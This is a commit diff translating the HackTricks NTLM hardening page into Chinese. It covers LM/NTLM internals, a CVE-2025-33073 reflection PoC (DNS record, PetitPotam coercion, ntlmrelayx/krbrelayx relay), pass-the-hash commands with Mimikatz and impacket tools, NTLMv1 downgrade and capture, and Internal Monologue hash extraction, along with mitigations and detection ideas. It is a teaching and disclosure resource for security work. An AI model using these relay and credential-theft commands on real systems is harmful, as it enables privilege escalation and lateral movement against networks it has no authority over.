Translated ['src/windows-hardening/ntlm/README.md'] to zh

This commit is contained in:
Translator 2025-07-17 09:37:20 +00:00
parent 1e5f72f348
commit 8076ab6add

View File

@ -2,70 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
Windows包含几种缓解措施试图防止*反射*攻击其中来自主机的NTLM或Kerberos身份验证被重新传递回**同一**主机以获取SYSTEM权限。
## 基本信息
微软通过MS08-068SMB→SMB、MS09-013HTTP→SMB、MS15-076DCOM→DCOM及后续补丁破坏了大多数公共链然而**CVE-2025-33073**显示保护仍然可以通过滥用**SMB客户端截断包含*序列化*serialized目标信息的服务主体名称SPNs**来绕过
在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被攻破。一个特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表一个空字符串的哈希
### TL;DR of the bug
1. 攻击者注册一个**DNS A记录**其标签编码一个序列化的SPN 例如
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. 受害者被迫对该主机名进行身份验证PetitPotam, DFSCoerce等
3. 当SMB客户端将目标字符串`cifs/srv11UWhRCAAAAA…`传递给`lsasrv!LsapCheckMarshalledTargetInfo`时,对`CredUnmarshalTargetInfo`的调用**去掉**了序列化的blob留下**`cifs/srv1`**。
4. `msv1_0!SspIsTargetLocalhost`或Kerberos等效项现在将目标视为*localhost*,因为短主机部分与计算机名称(`SRV1`)匹配。
5. 因此,服务器设置`NTLMSSP_NEGOTIATE_LOCAL_CALL`并将**LSASS的SYSTEM访问令牌**注入上下文中对于Kerberos创建一个标记为SYSTEM的子会话密钥
6. 使用`ntlmrelayx.py`**或**`krbrelayx.py`中继该身份验证可在同一主机上获得完全的SYSTEM权限。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或在尝试使用 IP 地址而非有效主机名进行连接时。
### Quick PoC
```bash
# Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 10.10.10.50
# Trigger authentication
PetitPotam.py -u user -p pass -d DOMAIN \
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
# Relay listener (NTLM)
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Relay listener (Kerberos) remove NTLM mechType first
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### Patch & Mitigations
* KB patch for **CVE-2025-33073**`mrxsmb.sys::SmbCeCreateSrvCall` 中添加了检查,阻止任何目标包含序列化信息的 SMB 连接(`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`)。
* 强制 **SMB 签名** 以防止即使在未打补丁的主机上也发生反射。
* 监控类似 `*<base64>...*` 的 DNS 记录并阻止强制向量PetitPotam, DFSCoerce, AuthIP...)。
### Detection ideas
* 网络捕获中包含 `NTLMSSP_NEGOTIATE_LOCAL_CALL`,其中客户端 IP ≠ 服务器 IP。
* 包含子会话密钥和客户端主体等于主机名的 Kerberos AP-REQ。
* Windows 事件 4624/4648 系统登录后立即跟随来自同一主机的远程 SMB 写入。
## References
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
## Basic Information
**Windows XP 和 Server 2003** 操作的环境中,使用 LMLan Manager哈希尽管广泛认为这些哈希容易被破解。特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表空字符串的哈希。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLMNT LAN Manager在特定情况下介入缺少 Active Directory、域不存在、Kerberos 由于配置不当而故障,或当尝试使用 IP 地址而不是有效主机名进行连接时。
网络数据包中存在 **"NTLMSSP"** 头部信号着 NTLM 认证过程。
网络数据包中存在 **"NTLMSSP"** 头部信号表示 NTLM 认证过程。
对认证协议 - LM、NTLMv1 和 NTLMv2 - 的支持由位于 `%windir%\Windows\System32\msv1\_0.dll` 的特定 DLL 提供。
**Key Points**:
**要点**
- LM 哈希是脆弱的,空 LM 哈希(`AAD3B435B51404EEAAD3B435B51404EE`表示未使用。
- LM 哈希易受攻击,空 LM 哈希 (`AAD3B435B51404EEAAD3B435B51404EE`) 表示未使用。
- Kerberos 是默认的认证方法NTLM 仅在特定条件下使用。
- NTLM 认证数据包可通过 "NTLMSSP" 头部识别。
- LM、NTLMv1 和 NTLMv2 协议由系统文件 `msv1\_0.dll` 支持。
## LM, NTLMv1 and NTLMv2
## LM、NTLMv1 和 NTLMv2
您可以检查和配置将使用哪个协议:
@ -75,9 +30,9 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
![](<../../images/image (919).png>)
### Registry
### 注册表
这将设置级别 5:
这将设置级别 5
```
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
```
@ -124,8 +79,8 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
如今,发现配置了不受限制的委派的环境变得越来越少,但这并不意味着您不能**滥用配置的打印后台处理程序服务**。
您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个**您控制的**主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb``responder`,您可以**将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用的是**NTLMv1**,您将能够**破解它**。\
如果您使用 `responder`,可以尝试**使用标志 `--lm`**来尝试**降级**认证。\
_请注意对于此技术身份验证必须使用 NTLMv1NTLMv2 无效)进行。_
如果您使用 `responder`,可以尝试**使用标志 `--lm`** 来尝试**降级**认证。\
_请注意对于此技术身份验证必须使用 NTLMv1 进行NTLMv2 无效。_
请记住,打印机在身份验证期间将使用计算机帐户,而计算机帐户使用**长且随机的密码**,您**可能无法使用常见的**字典**破解**。但是,**NTLMv1** 认证**使用 DES**[更多信息在这里](#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
@ -195,7 +150,7 @@ bd760f388b6700 # this is part 2
586c # this is the last part
```
请提供需要翻译的具体内容。
请提供需要翻译的内容。
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -203,7 +158,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
**挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,另一个的长度是**可变**的。
**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密生成的,并使用**NT 哈希**的**MD4 哈希**作为**密钥**。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计24 B。
**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密生成的,并使用**NT hash**的**MD4 哈希**作为**密钥**。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计24 B。
**第二个响应**是使用**多个值**(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**等)生成的。
@ -231,7 +186,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
### Impacket Windows编译工具
您可以在此处下载[impacket Windows二进制文件](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries)。
您可以在此处下载[ impacket Windows二进制文件](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries)。
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
@ -288,20 +243,20 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
内部独白攻击是一种隐秘的凭据提取技术允许攻击者从受害者的机器中检索NTLM哈希值**而无需直接与LSASS进程交互**。与Mimikatz不同后者直接从内存中读取哈希值且常常被终端安全解决方案或凭据保护阻止此攻击利用**通过安全支持提供程序接口SSPI对NTLM认证包MSV1_0的本地调用**。攻击者首先**降级NTLM设置**例如LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic以确保允许NetNTLMv1。然后他们伪装成从运行进程中获取的现有用户令牌并在本地触发NTLM认证以使用已知挑战生成NetNTLMv1响应。
在捕获这些NetNTLMv1响应后攻击者可以快速使用**预计算的彩虹表**恢复原始NTLM哈希从而启用进一步的Pass-the-Hash攻击以进行横向移动。至关重要的是内部独白攻击保持隐秘因为它不会生成网络流量、注入代码或触发直接内存转储使其比传统方法如Mimikatz更难被防御者检测。
在捕获这些NetNTLMv1响应后攻击者可以快速使用**预计算的彩虹表**恢复原始NTLM哈希从而启用进一步的Pass-the-Hash攻击以进行横向移动。至关重要的是内部独白攻击保持隐秘因为它不会生成网络流量、注入代码或触发直接内存转储使其比传统方法如Mimikatz更难被防御者检测。
如果NetNTLMv1未被接受——由于强制的安全策略攻击者可能无法检索到NetNTLMv1响应。
为处理这种情况,内部独白工具进行了更新:它动态获取服务器令牌,使用`AcceptSecurityContext()`仍然**捕获NetNTLMv2响应**如果NetNTLMv1失败。虽然NetNTLMv2更难破解但在有限情况下它仍然为中继攻击或离线暴力破解打开了一条路径。
为处理这种情况,内部独白工具进行了更新:它动态获取服务器令牌,使用`AcceptSecurityContext()`以在NetNTLMv1失败时仍然**捕获NetNTLMv2响应**。虽然NetNTLMv2更难破解但在有限情况下它仍然为中继攻击或离线暴力破解打开了一条路径。
PoC可以在**[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**找到。
## NTLM中继和响应者
**在这里阅读有关如何执行这些攻击的详细指南:**
**在这里阅读有关如何执行这些攻击的详细指南:**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
## 从网络捕获中解析NTLM挑战
@ -312,16 +267,16 @@ PoC可以在**[https://github.com/eladshamir/Internal-Monologue](https://github.
Windows包含几种缓解措施试图防止*反射*攻击其中来自主机的NTLM或Kerberos认证被中继回**同一**主机以获取SYSTEM权限。
微软通过MS08-068SMB→SMB、MS09-013HTTP→SMB、MS15-076DCOM→DCOM及后续补丁破坏了大多数公共链然而**CVE-2025-33073**显示,保护措施仍然可以通过滥用**SMB客户端截断服务主体名称SPN**来绕过,这些名称包含*序列化*的目标信息
微软通过MS08-068SMB→SMB、MS09-013HTTP→SMB、MS15-076DCOM→DCOM及后续补丁破坏了大多数公共链然而**CVE-2025-33073**显示,保护措施仍然可以通过滥用**SMB客户端截断包含*序列化*(序列化)目标信息的服务主体名称SPN**来绕过。
### 漏洞的简要说明
1. 攻击者注册一个**DNS A记录**,其标签编码一个序列化的SPN 例如
1. 攻击者注册一个**DNS A记录**其标签编码一个序列化的SPN 例如
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. 受害者被迫对该主机名进行身份验证PetitPotam、DFSCoerce等
3. 当SMB客户端将目标字符串`cifs/srv11UWhRCAAAAA…`传递给`lsasrv!LsapCheckMarshalledTargetInfo`时,对`CredUnmarshalTargetInfo`的调用**剥离**了序列化的blob留下**`cifs/srv1`**。
4. `msv1_0!SspIsTargetLocalhost`或Kerberos等效项现在将目标视为*localhost*,因为短主机部分与计算机名称(`SRV1`)匹配。
5. 因此,服务器设置`NTLMSSP_NEGOTIATE_LOCAL_CALL`并将**LSASS的SYSTEM访问令牌**注入上下文中对于Kerberos创建一个标记为SYSTEM的子会话密钥
6. 使用`ntlmrelayx.py` **或** `krbrelayx.py`中继该身份验证可在同一主机上获得完全的SYSTEM权限。
6. 使用`ntlmrelayx.py`**或**`krbrelayx.py`中继该认证可在同一主机上获得完全的SYSTEM权限。
### 快速PoC
```bash
@ -341,13 +296,13 @@ ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### 修补与缓解措施
* **CVE-2025-33073** 的 KB 补丁在 `mrxsmb.sys::SmbCeCreateSrvCall` 中添加了检查,阻止任何目标包含序列化信息的 SMB 连接(`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`)。
* 强制 **SMB 签名** 以防止即使在未修补的主机上也发生反射。
* 针对 **CVE-2025-33073** 的 KB 补丁在 `mrxsmb.sys::SmbCeCreateSrvCall` 中添加了检查,阻止任何目标包含序列化信息的 SMB 连接(`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`)。
* 强制 **SMB 签名** 以防止即使在未打补丁的主机上也发生反射。
* 监控类似 `*<base64>...*` 的 DNS 记录并阻止强制向量PetitPotam, DFSCoerce, AuthIP...)。
### 检测思路
* 网络捕获中包含 `NTLMSSP_NEGOTIATE_LOCAL_CALL`,其中客户端 IP ≠ 服务器 IP。
* 包含子会话密钥和客户端主体等于主机名的 Kerberos AP-REQ。
* 包含子会话密钥和与主机名相等的客户端主体的 Kerberos AP-REQ。
* Windows 事件 4624/4648 系统登录后立即跟随来自同一主机的远程 SMB 写入。
## 参考文献